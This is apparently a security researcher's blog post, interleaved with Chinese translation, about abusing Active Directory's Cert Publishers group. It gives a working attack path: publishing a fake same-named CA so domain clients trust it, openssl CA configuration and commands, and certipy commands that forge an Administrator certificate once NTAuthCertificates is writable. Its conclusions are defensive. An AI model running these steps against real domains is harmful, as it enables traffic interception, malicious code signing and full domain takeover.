A “deep dive” in Cert Publishers Group

While writing my latest post, my attention was also drawn to the Cert Publishers group, which is associated with the Certificate service (ADCS) in an Active Directory Domain.
在撰写我的最新文章时，我还注意到了 Cert Publishers 组，该组与 Active Directory 域中的证书服务 （ADCS） 相关联。

I was wondering about the purpose of this group and what type of permissions were assigned to its members. I was also curious to understand if it was possible to exploit this membership to acquire the highest privileges within a domain. By default, this group contains the computer accounts hosting the Certification Authority and Sub CA. It is not clear whether this group should be considered really highly privileged, and I have not found any documentation of potential abuse. For sure, CA and SubCA Windows servers should be considered highly privileged, even just for the fact that they can do backups of the CA keys…
我想知道这个组的目的是什么，以及分配给其成员的权限类型。我也很想知道是否有可能利用此成员资格来获得域内的最高权限。默认情况下，此组包含承载证书颁发机构和子 CA 的计算机帐户。目前尚不清楚这个群体是否应该被视为真正享有高度特权，我也没有发现任何关于潜在滥用的文件。当然，CA 和 SubCA Windows 服务器应该被视为高特权，即使只是因为它们可以备份 CA 密钥……

Last but not least, Microsoft does not protect this group by AdminSDHolder:
最后但并非最不重要的一点是，Microsoft 不会通过 AdminSDHolder 保护此组：

What is the purpose of Cert Publishers?
证书发布者的目的是什么？

Microsoft’s official documentation on this group is not very clear nor exhaustive:
Microsoft 关于这个组的官方文档不是很清楚，也不是很详尽：

“Members of the Cert Publishers group are authorized to publish certificates for User objects in Active Directory.“
“Cert Publishers 组的成员有权在 Active Directory 中发布用户对象的证书。”

What does this mean? Members of the group have write access to the userCertificate attribute of users and computers and this permission is also controlled by the AdminSDholder configuration:
这是什么意思？组的成员对用户和计算机的 userCertificate 属性具有写入访问权限，此权限也由 AdminSDholder 配置控制：

The userCertificate attribute is a multi-valued attribute that contains the DER-encoded X509v3 certificates issued to the user. The public key certificates issued to this user by the Microsoft Certificate Service are stored in this attribute if the “Publish to Active Directory” is set in the Certificate Templates, which is the default for several certificate templates:
userCertificate 属性是一个多值属性，其中包含颁发给用户的 DER 编码的 X509v3 证书。如果在证书模板中设置了“发布到 Active Directory”，则 Microsoft 证书服务颁发给此用户的公钥证书将存储在此属性中，这是多个证书模板的默认值：

Should you accept this default setting? In theory, this would be useful when using Email Encryption, Email Signing, or Encrypted Files System (EFS). I see no other reason and if you don’t need it remove this flag
您是否应该接受此默认设置？从理论上讲，这在使用电子邮件加密、电子邮件签名或加密文件系统 （EFS） 时很有用。我看不出其他原因，如果您不需要它，请删除此标志

From the security perspective, as far as I know, no reasonable path could permit an attacker to elevate the privileges by altering the certificates stored in this attribute.
从安全角度来看，据我所知，没有任何合理的路径可以允许攻击者通过更改存储在此属性中的证书来提升权限。

There could be in theory a denial of service attack by adding a huge amount of certificates to the attribute to create replication issues between DC’s, but in my tests, I was not able to reproduce this given that there seems to be a hard limit of around 1200 certificates (or maybe a limit on the size), at least in a Windows AD 2016.
从理论上讲，通过向属性添加大量证书以在 DC 之间创建复制问题，可能会发生拒绝服务攻击，但在我的测试中，我无法重现这一点，因为似乎存在大约 1200 个证书的硬性限制（或者可能是大小限制）， 至少在 Windows AD 2016 中。

So if you really need this attribute, at least check “Do not automatically reenroll..” which will prevent uncontrolled growth of this attribute.
因此，如果您确实需要此属性，请至少选中“不要自动重新注册……”，这将防止此属性不受控制地增长。

Is there anything else they can do? Yes!
他们还能做些什么吗？是的！

Permissions granted to cert Publishers in Configuration Partition
在配置分区中授予证书发布者的权限

Cert Publishers have control over some objects located under the “Public Key Services” container of Configuration Partition of AD:
证书发布者可以控制位于 AD 配置分区的“公钥服务”容器下的某些对象：

certutil -dspublish -f fakeca.crt subCA  (sub CA)
certutil -dspublish -f fakeca.crt crossCA  (cross CA)

But the resulting published fake certificates in the intermediate CA will not be trusted due to missing root CA, so probably that is not useful…
但是，由于缺少根 CA，中间 CA 中生成的已发布的假证书将不受信任，因此这可能没有用……
We have also to keep in mind that Cert Publishers cannot modify the original AIA object created during the installation of the CA:
我们还必须记住，证书发布者不能修改在安装 CA 期间创建的原始 AIA 对象：

• CN=[CA_NAME],CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC= …
  CN=[CA_NAME]，CN=CDP，CN=公钥服务，CN=服务，CN=配置，DC= …

Certificate Revocation List Distribution Point (CDP) provides information on where to find the CRL associated with the certificate.
证书吊销列表分发点 （CDP） 提供有关在何处查找与证书关联的 CRL 的信息。

证书发布者的成员对此容器和后续对象具有完全控制权。但是这个容器在ADCS中的用途是什么？

From http://From https://www.pkisolutions.com/understanding-active-directory-certificate-services-containers-in-active-directory/
从 http://From https://www.pkisolutions.com/understanding-active-directory-certificate-services-containers-in-active-directory/
“This container is used to store certificate revocation lists (CRL). To differentiate CRLs a separate container is created for each CA. Typically CA host NetBIOS name is used. CRLs from CDP containers are NOT propagated to clients and is used only when a certificate refers to a particular CRLDistributionPoint entry in CDP container.”
“此容器用于存储证书吊销列表 （CRL）。为了区分 CRL，将为每个 CA 创建一个单独的容器。 通常使用 CA 主机 NetBIOS 名称。来自 CDP 容器的 CRL 不会传播到客户端，仅当证书引用 CDP 容器中的特定 CRLDistributionPoint 条目时才使用。

Members could overwrite attributes of the existing object, especially the certificateRevocationList and deltaRevocationList attribute with a fake one or just remove it. However given that these configurations are not replicated to clients, these permissions are not very useful from an attacker’s perspective.
成员可以用假属性覆盖现有对象的属性，尤其是 certificateRevocationList 和 deltaRevocationList 属性，或者直接将其删除。但是，鉴于这些配置不会复制到客户端，因此从攻击者的角度来看，这些权限不是很有用。

值得注意的是，证书发布者无法修改与 CA 服务器的 AIA/CDP 配置相关的扩展：

• CN=[CA_NAME],CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=..
  CN=[CA_NAME]，CN=证书颁发机构，CN=公钥服务，CN=服务，CN=配置，DC=..

This container stores trusted root certificates. The root certificate of the CA server is automatically placed inside and the certificates will be published (via GP) under the trusted root certification authorities.
此容器存储受信任的根证书。CA 服务器的根证书会自动放入其中，证书将（通过 GP）在受信任的根证书颁发机构下发布。

While Cert Publishers have full control over the CA_NAME object, they are unable to add other certification authority objects. This restriction is probably in place to mitigate the risk of a malicious user, who is a member of the group, from publishing fake CA certificates. Such fake certificates could potentially be trusted by all clients. Hence, what are the potential abuse scenarios to consider?
虽然证书发布者对CA_NAME对象具有完全控制权，但他们无法添加其他证书颁发机构对象。此限制可能是为了降低恶意用户（作为组成员）发布虚假 CA 证书的风险。所有客户端都可能信任此类虚假证书。因此，需要考虑哪些潜在的滥用情况？

Abusing the Certification Authorities object
滥用证书颁发机构对象

My objective was to explore potential workarounds to have my fake Certificate Authority (CA) published and accepted as trustworthy by all clients, despite the established limitations.
我的目标是探索潜在的解决方法，使我的假证书颁发机构 （CA） 发布并被所有客户接受为值得信赖，尽管存在既定限制。

在各种测试之后，我尝试用假证书替换存储在 CA 对象的 caCertificate 属性中的现有证书，或者向当前 caCertificate 添加假证书（没有成功，因为假 CA 未发布），我最终确定了一种绕过现有“安全”（或者我们应该说“安全”？）边界的解决方案。为什么不创建一个与官方 CA 通用名称完全相同的假 CA？如果它按预期工作，它将被附加到现有 CA 的配置中…

Creating a fake self-signed CA with the openssl tool is fairly straightforward, I won’t go into details as I already explained this in my previous post.
使用 openssl 工具创建假的自签名 CA 相当简单，我不会详细介绍，因为我在上一篇文章中已经解释过这一点。

The provided common name matches the name of our official CA.
提供的公用名与我们的官方 CA 的名称相匹配。

After obtaining the certificate, we will log in to the AD domain using the credentials of a user who is a member of Cert Publishers and proceed to add the certificate to the Certification Authorities container
获取证书后，我们将使用作为证书发布者成员的用户的凭据登录到 AD 域，并继续将证书添加到证书颁发机构容器

We can safely ignore the error, and with adsiedit we can confirm that the certificate was added:
我们可以安全地忽略该错误，并且使用 adsiedit，我们可以确认已添加证书：

Let’s see if it works, but instead of waiting for the GPO refresh, we manually perform a gpupdate /force and look in the certificates of the local computer/user:
让我们看看它是否有效，但我们不是等待 GPO 刷新，而是手动执行 gpupdate /force 并查看本地计算机/用户的证书：

Bingo! We now have our fake Certificate Authority (CA) established as a trusted entity. To confirm its functionality, we’ll configure a web server with an SSL certificate issued by our CA.
宾果游戏！现在，我们已将伪造的证书颁发机构 （CA） 建立为受信任的实体。为了确认其功能，我们将使用 CA 颁发的 SSL 证书配置 Web 服务器。

In my instance, I used an IIS web server and requested an SSL certificate (you can do this in many different ways..) using the Certificates snap-in (I’ll omit some steps, as there is a huge documentation available on how to accomplish this)
在我的实例中，我使用了 IIS Web 服务器并请求了 SSL 证书（您可以通过许多不同的方式执行此操作..）使用证书管理单元（我将省略一些步骤，因为有大量文档可用于如何完成此操作）

Once we get our csr file (evil.csr), we need to setup the CA configuration for the CRL endpoints and certificate signing.
获得 csr 文件 （evil.csr） 后，我们需要为 CRL 端点和证书签名设置 CA 配置。

[ca]
default_ca = EVILCA
[crl_ext]
authorityKeyIdentifier=keyid:always
[EVILCA]
dir = ./
new_certs_dir = $dir
unique_subject = no
certificate = ./evilca.crt
database = ./certindex
private_key = ./evilca.key
serial = ./certserial
default_days = 729
default_md = sha1
policy = myca_policy
x509_extensions = myca_extensions
crlnumber = ./crlnumber
default_crl_days = 729
default_md = sha256
copy_extensions = copy
[myca_policy]
commonName = supplied
stateOrProvinceName = optional
countryName = optional
emailAddress = optional
organizationName = supplied
[myca_extensions]
basicConstraints = CA:false
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always
keyUsage = digitalSignature,keyEncipherment
extendedKeyUsage = serverAuth
crlDistributionPoints = URI:http://192.168.1.88/root.crl

Run the usual commands:
运行常用命令：

openssl genrsa -out cert.key 2048
openssl req -new -key cert.key -out cert.csr
touch certindex
echo 01 > certserial
echo 01 > crlnumber
openssl ca -batch -config ca.conf -notext -in cert.csr -out cert.crt
openssl pkcs12 -export -out cert.p12 -inkey cert.key -in cert.crt -chain -CAfile evilca.crt
openssl ca -config ca.conf -gencrl -keyfile evilca.key -cert evilca.crt -out rt.crl.pem
openssl crl -inform PEM -in rt.crl.pem -outform DER -out root.crl

We are now ready to process the certificate request:
现在，我们已准备好处理证书请求：

And import the evil.crt on our webserver. From a domain joined machine, we try to navigate to https://myevilserver.mylab.local:
并将 evil.crt 导入我们的 Web 服务器。在已加入域的计算机上，我们尝试导航到 https://myevilserver.mylab.local：

As expected, the site is trusted by our fake CA.
不出所料，该网站受到我们的假 CA 的信任。

伪造的受信任证书可以使恶意行为者能够执行各种攻击，通过注册任何类型的证书，这些证书随后将被信任，从而可能导致整个域受到损害……

While not an expert on these abuses, the following are initial considerations:
虽然不是这些滥用行为的专家，但以下是初步考虑因素：

• Man in the middle (MITM) attacks such as SSL inspection to decrypt all the traffic
  中间人 （MITM） 攻击，例如 SSL 检查，用于解密所有流量
• Code signing of malicious enterprise applications or script
  恶意企业应用程序或脚本的代码签名
• Server authentication, VPN,…
  服务器身份验证、VPN,…

Moving further 更进一步

But let’s go a set further. Remember my so-called Silver Certificate?
但是，让我们更进一步。还记得我所谓的银证吗？

To be able to (ab)use a forged client certificate for authentication, via PKINIT or Schannel, the CA also has to present in NTAuthcertificates store.
为了能够通过 PKINIT 或 Schannel 使用伪造的客户端证书进行身份验证，CA 还必须存在于 NTAuthcertificates 存储中。

Let’s consider the scenario where the Cert Publishers group is granted write access to the NTAuthcertificates object. While not the default setting, I’ve encountered a couple of real-world scenarios where this (mis)configuration was implemented. This transforms the original situation described in my previous post, by having only write permission on NTAuthcertificates, from a mere persistence technique to a genuine privilege escalation. This shift is noteworthy, especially considering that we already have a trusted Certificate Authority at our disposal, enabling the forging of client certificates.
让我们考虑以下方案：Cert Publishers 组被授予对 NTAuthcertificates 对象的写入访问权限。虽然不是默认设置，但我遇到了几个实际场景，其中实现了这种（错误）配置。这改变了我上一篇文章中描述的原始情况，即仅对 NTAuthcertificates 具有写入权限，从单纯的持久性技术转变为真正的权限提升。这种转变是值得注意的，特别是考虑到我们已经有一个受信任的证书颁发机构可供使用，从而可以伪造客户证书。

All we need at this point is to add our fake CA certificate to the NTAuthcertificates object (assuming Cert Publishers have been granted this permission)
此时，我们只需要将伪造的 CA 证书添加到 NTAuthcertificates 对象（假设证书发布者已被授予此权限）

让我们等待域控制器上的 GP 刷新，然后像往常一样使用 certipy 工具继续操作：

certipy forge -ca-pfx evilca.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=mylab,DC=local' -crl 'http://192.168.1.88/root.crl'
certipy auth -pfx administrator_forged.pfx -dc-ip 192.168.212.21

And get the expected result!
并得到预期的结果！

Conclusions 结论

At the end of our experiments, we can derive the following conclusions:
在实验结束时，我们可以得出以下结论：

• Members of Cert Publishers can add a malicious Certification Authority under the control of an ADCS environment and subsequently be trusted by all the clients. While certificates issued under this CA will not be automatically trusted for client authentication via PKINIT or SChannel, they could still be abused for other malicious tasks.
  证书发布者的成员可以在 ADCS 环境的控制下添加恶意证书颁发机构，并随后受到所有客户端的信任。虽然在此 CA 下颁发的证书不会自动受信任以通过 PKINIT 或 SChannel 进行客户端身份验证，但它们仍可能被滥用于其他恶意任务。
• Cert Publishers membership + write access to NTAuthcertificates is the most dangerous mix in these scenarios. You can then forge and request a certificate, the Silver++ , for client authentication against any user in the domain.
  在这些情况下，证书发布者成员身份 + 对 NTAuthcertificates 的写入访问权限是最危险的组合。然后，您可以伪造并请求证书 Silver++ ，以便对域中的任何用户进行客户端身份验证。
• Cert Publishers should be considered High-Value Targets (or Tier-0 members), and membership in this group should be actively monitored, along with possible attack paths originating from non-privileged users leading to this group.
  应将证书发布者视为高价值目标（或第 0 层成员），应主动监视此组中的成员身份，以及源自指向此组的非特权用户的可能攻击路径。

That’s all  就这样